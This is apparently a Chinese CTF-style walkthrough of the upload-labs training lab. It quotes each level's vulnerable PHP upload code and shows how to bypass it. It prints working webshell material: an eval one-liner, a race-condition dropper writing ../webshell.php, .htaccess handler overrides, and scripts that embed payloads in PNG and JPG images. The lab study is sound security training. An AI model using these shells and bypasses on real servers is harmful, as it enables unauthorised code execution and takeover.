6038 字
30 分钟
upload-labs
2026-01-13

部分题目思路借鉴来源 一句话话木马基本形式

<?php
@eval($_POST['cmd']);
>?

第一关前端限制#

js前端限制,直接F12禁用Javascript,然后上传upload.php(一句话木马),右键在新标签页中打开图片,蚁剑连接,成功

第二关MIME类型#

先总结一下MIME类型

类型描述典型示例
text表明文件是普通文本,理论上是人类可读text/plain, text/html, text/css, text/javascript
image表明是某种图像。不包括视频,但是动态图(比如动态 gif)也使用 image 类型image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon
audio表明是某种音频文件audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
video表明是某种视频文件video/webm, video/ogg
application表明是某种二进制数据application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf
这个题直接上传一句话木马,会有提示:文件类型不正确,请重新上传!看源码发现MIME文件类型检测
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {

对应HTTP请求中的Content-Type字段,那么抓包将Content-Type字段改为上面合法的三种之一就能过

第三关后缀#

直接上传一句话木马,显示提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!很明显这是过滤我们的后缀,看眼源码

if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

为了成功上传文件,并让服务器能够解析,修改一下apache的配置文件,这样才可以解析php3和phtml为php文件

第四关.htacess#

上传一句话木马,提示:此文件不允许上传!看源码,这一关黑名单比上关多多了

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

那就得用到.htaccess文件上传,.htaccess只有apache可以识别,Nginx不支持.htaccess 文件

.htaccess是 Apache HTTP 服务器的分布式配置文件(属于 Per-directory,即按目录生效的配置),它允许用户在不修改服务器主配置文件(httpd.conf 或 apache2.conf)的前提下,对单个目录(及子目录,默认继承配置)进行个性化配置,无需重启 Apache 服务即可生效,灵活性极高。

强制让 Apache 服务器将 ~后缀的文件当作 PHP 脚本进行解析和执行的方法

AddType application/x-httpd-php .~
AddHandler application/x-httpd-php .~

那么上传一个.htacess文件(创建个文件,然后内容按照上边来)修改解析规则,再上传一句话木马就好了

第五关.user.ini或大小写#

这个也是提示:此文件类型不允许上传!看源码

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

.htacess也被禁了,可以考虑更高优先级且没被过滤的后缀.user.ini,.user.ini的优先级高于php.ini,会覆盖php.ini的配置。关键配置

auto_prepend_file=文件名:每个 PHP 文件执行前,自动包含(引入)指定文件;
auto_append_file=文件名:每个 PHP 文件执行后,自动包含指定文件。

这个题目也可以大小写绕过

第六关空格#

依旧提示:此文件不允许上传,看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里讲一下跟上一关代码的区别

$file_name = $_FILES['upload_file']['name']; //第六关(本关)
$file_name = trim($_FILES['upload_file']['name']); //第五关

这一关文件名获取方式不同,少了trim,会保留首尾空格;

$file_ext = strtolower($file_ext); // 转小写 //第六关
$file_ext = trim($file_ext); //第五关,没有转小写,所以上一关说可以大小写绕过

这一关多了strtolower,会强制转小写,所以无法大小写绕过;

第六关没有trim,没有去掉文件扩展名的首位空格
$file_ext = trim($file_ext); // 去首尾空格 //第五关

看到这里就知道怎么做了,通过首尾空格这一点 在windows环境下,系统会自动去除我们文件名后面的点和空格,但是在linux下并不会,linux环境下会保留我们文件名的特殊字符 那么我们就可以利用这一点:抓包对其文件名后面加一个空格,正好就可以绕过他的过滤数,然后windows会自动帮我们去除空格,过关

第七关点#

提示:此文件类型不允许上传!,这样的拦法表达下一关开始就不再说了。 看源码 可以得知,这题既避免了大小写绕过,又防了空格绕过。但是跟前面的一对比就可以发现缺少了对文件后缀使用的 deldot()函数,不会去除.,那么可以再次利用Windows的去除特性。抓包修改加个点,然后电脑会自动帮我们处理,过关

第八关字符#

这一关首位空格、大小写、点都防了,但是的但是,再跟前面对比一下可以发现缺少了

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

那么攻击点就找到了,再分析一下电脑特性 在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉。 那么方法就有了,抓包添加字符::$DATA,过。

第九关两点#

看源代码,这次前面四关的都拦截了 但是上传,代码只是会执行一次,我们抓包后给后缀多加两个点不久好了吗,想法不如行动,过关

第十关双写绕过#

看源码,跟前面更不一样了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这一行$file_name = str_ireplace($deny_ext,"", $file_name);的str_ireplace函数将所有的危险后缀都替换为空了,欸依旧上一关思路,代码执行一次啊,所有双写绕过.pphphp,替换了一个后缀还有一个呢,ok抓包实践,成功过关

第十一关GET00截断#

提示:只允许上传.jpg|.png|.gif类型文件! 继续看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

先分析一下这个典型的代码,满足三个危险条件

条件代码体现
使用原始文件名$_FILES['upload_file']['name']
字符串拼接路径".".$file_ext
文件写入函数move_uploaded_file()
然后讲一下这个能看出来的低版本00截断
00 截断不是 PHP 漏洞,是 PHP 调用 C 层文件系统时的历史问题
  • C 语言里:\0 是字符串结束符
  • 早期 PHP(≤ 5.3.4 左右)
  • file_put_contents / move_uploaded_file / include
    路径处理时遇到 \0 会提前截断 当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险 知晓了00截断,再回去看代码
$file_ext = substr($_FILES['upload_file']['name'],
strrpos($_FILES['upload_file']['name'],".")+1);

第一个危险条件:扩展名判断来自客户端文件名。没做\0处理,截断点1

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

第二个危险条件:(1)save_path 完全可控(2)路径是字符串拼接(3)没有 realpath() / basename() / str_replace("\0")

move_uploaded_file($temp_file,$img_path)

第三个危险条件,也是00 截断历史重灾区函数之一 理论分析完了,现在也该开始实操了。 img_path是通过get传参(?save_path=)传递的,那么我们不妨在这块将路径改掉,改为upload/upload.php%00,那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径。上传时不要忘记三个后缀限制,传上后,抓包按照上面流程修改就好了,过关。

第十二关POST00截断#

提示:只允许上传.jpg|.png|.gif类型文件! 依旧00截断 代码区别点在

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这次是POST传参,上一关的%00GET方法会经过url的编码,而这一关POST方法不会,所以在这一关我们就需要现在upload.php后面加一个占位符,将其16进制改为00,这样空字节就出现了,最后在移动文件的时候就会触发\00截断 具体操作就是加个a或者其它的,然后抓包,HEX查看16进制码,找到这个占位符对应的16进制码,然后改成00,成功

第十三关图片马尾#

这一关开始涉及图片马了,看源码

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

源码使用了getReailFileType()函数,它对图片的头部进行判断,图片的头部定义特定的图片类型,所以我们在制作图片马的时候不能再头部进行改动。 图片马制作 首先找一张jpg图片和一句话木马,打开cmd,输入以下代码

>copy a.jpg/b + b.php/a ming.jpg
-----------------------------------------
web.jpg
web.php
已复制 1 个文件。

然后上传就好了

第十四关图片马头#

上源码

function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

会检测文件头是否为图片形式,但是文件头可以伪造,跟上一关一样的道理了,过关

第十五关图片马(正常图片)#

知识点     exif_imagetype()读取一个图像的第一个字节并检查其后缀名。 返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启`php_exif`模块。    上源码

function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这一关只用文件头不行,需要用一张正常的图片,在文件末尾插入一句话木马,然后按照前面关卡的流程做就好,过关

第十六关图片马(打散+二次渲染)#

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = UPLOAD_PATH.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = UPLOAD_PATH.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = UPLOAD_PATH.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这一关使用 imagecreatefromjpeg() 函数将我们的图片打散进行二次渲染,这就会导致我们的一句话木马消失,所以我们就要想办法在他没有打散的对方将我们的一句话写进去 下面三种详解可以见先知社区文章

gif格式#

先制作gif图片马,跟前面命令一样,只是将合成的图片的后缀改为gif就好 然后我们进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话

png格式#

png的二次渲染的绕过并不能像gif那样简单,因为png分了好几个数据块组成,如果用上面的方法就成功不了,得用其它方法,代码

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

直接运行生成一个图片马

jpg格式#

依旧代码借鉴粘贴

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
3) After the second processing the injected data may become partially corrupted.
4) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

jpg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来 然后在cmd下使用这条命令

php text.php ming.jpg

将上传的图片和我们上面的代码文件放在一块生成新的jpg文件

  • 这个方法有时候会因为jpg文件不能被处理而失效,所以有时候需要多尝试一些

第十七关条件竞争#

提示:只允许上传.jpg|.png|.gif类型文件! 不用图片马了,看源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
$file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
$upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
// 尝试移动上传文件到指定路径
if(move_uploaded_file($temp_file, $upload_file)){
// 如果文件成功移动到目标路径
if(in_array($file_ext,$ext_arr)){
// 如果上传的文件扩展名在允许的范围内
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
$is_upload = true; // 设置上传标志为true
}else{
// 如果上传的文件扩展名不在允许的范围内
$msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置错误消息
unlink($upload_file); // 删除上传的文件
}
}else{
// 如果移动上传文件失败
$msg = '上传出错!'; // 设置错误消息
}
}

分析代码,对于上传的文件会进行扩展名检测,如果在白名单中会进行重命名,如果不再就直接删除,所以上传php文件会导致我们的一句话木马直接被删 这里的方法条件竞争,应用条件是抓住代码在执行的时候特别短的那个时间,抓住是还没来得及删除就可以被访问到的那个瞬间,一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件,这样就可以保证不会被删除。可以利用burp多线程发包,然后不断在浏览器访问我们的webshell。 可以将一句话木马写成

<?php
file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>');
?>

这种形式。 先上传我们的php文件,bp抓包,Send to Intruder,将重发请求数值大一些,再起一个bp程序,抓取我们访问上传的php文件,也放到bp的重发包上面。这样就一边上传,一边请求了,只要有一次访问得到,那么就会在上一级目录下创建写好的一句话木马,然后蚁剑连接就可以了,过关

第十八关条件竞争#

看源码

index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};

这一关不仅用白名单检查文件后缀,还会对文件大小以及文件是否存在进行检查,上传后依旧会进行重命名。 这一关源码有些问题,需要改成

function setDir( $dir ){
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else {
      $this->cls_upload_dir = $dir.'/';
      return 1;
    }
  }

然后这个题接下来两种做法 一种:用到apache解析漏洞,使用Apache的网站解析文件名时从右往左看,如果第一个后缀无法解析将会解析下一个后缀,因此可以使用双重后缀绕过,如果命名为123.php.7z 7z无法解析,就解析为php。但是文件会被重命名为时间戳和随机数组成。 二种:用我们上关的php文件生成一个图片马 然后就是跟上一关一样的条件竞争了,bp发包,抓包,蚁剑连接,过关

第十九关.#

Windows会自动去.,那么命名成upload.php.就行,然后蚁剑连接

第二十关数组绕过#

函数解释:
explode(a,b)函数以a为分割,把b转为数组。
reset()函数把数组内部指针移动到数组第一个元素,并返回值。
end() 把数组内部指针移动到数组最后一个元素,并返回值。
count()函数数组元素的数量。

看源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){ //检查Content-Type
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
} //分割数组
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//count函数漏洞
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name; //count函数漏洞
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

通过$file_name = reset($file) . '.' . $file[count($file) - 1];可以得知最终的文件名是由数组的第一个和最后一个元素拼接而成

if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

通过这里又可以得知,会进行一个判断,如果不是数组,就自己拆成数组,所以说如果我们本来传入的就是数组,那么就不会进行分割 原理 在 PHP 中,count() 函数返回的是数组中元素的数量,而非最大下标值。当数组下标不连续时,使用 count($arr) - 1 作为“最后一个元素下标”将产生逻辑错误。 例如,定义数组 arr[0]=1,arr[3]=2,此时 count($arr) 的返回值为 2,但数组的最大下标为 3。若代码使用 arr[count($arr)]arr[count($arr)-1] 访问数组末尾元素,将访问到一个未定义或非预期的下标,从而引发逻辑漏洞。 操作 首先上传 test.php 文件,利用bp抓包,发现save_name是利用_POST形式上传的,利用count()函数漏洞手动将 save_name改为数组形式,绕过白名单,并且合法化$image_path路径。然后蚁剑连接就过了 [upload20.png]

upload-labs
https://fuwari.vercel.app/posts/upload-labs/
作者
BIG熙
发布于
2026-01-13
许可协议
CC BY-NC-SA 4.0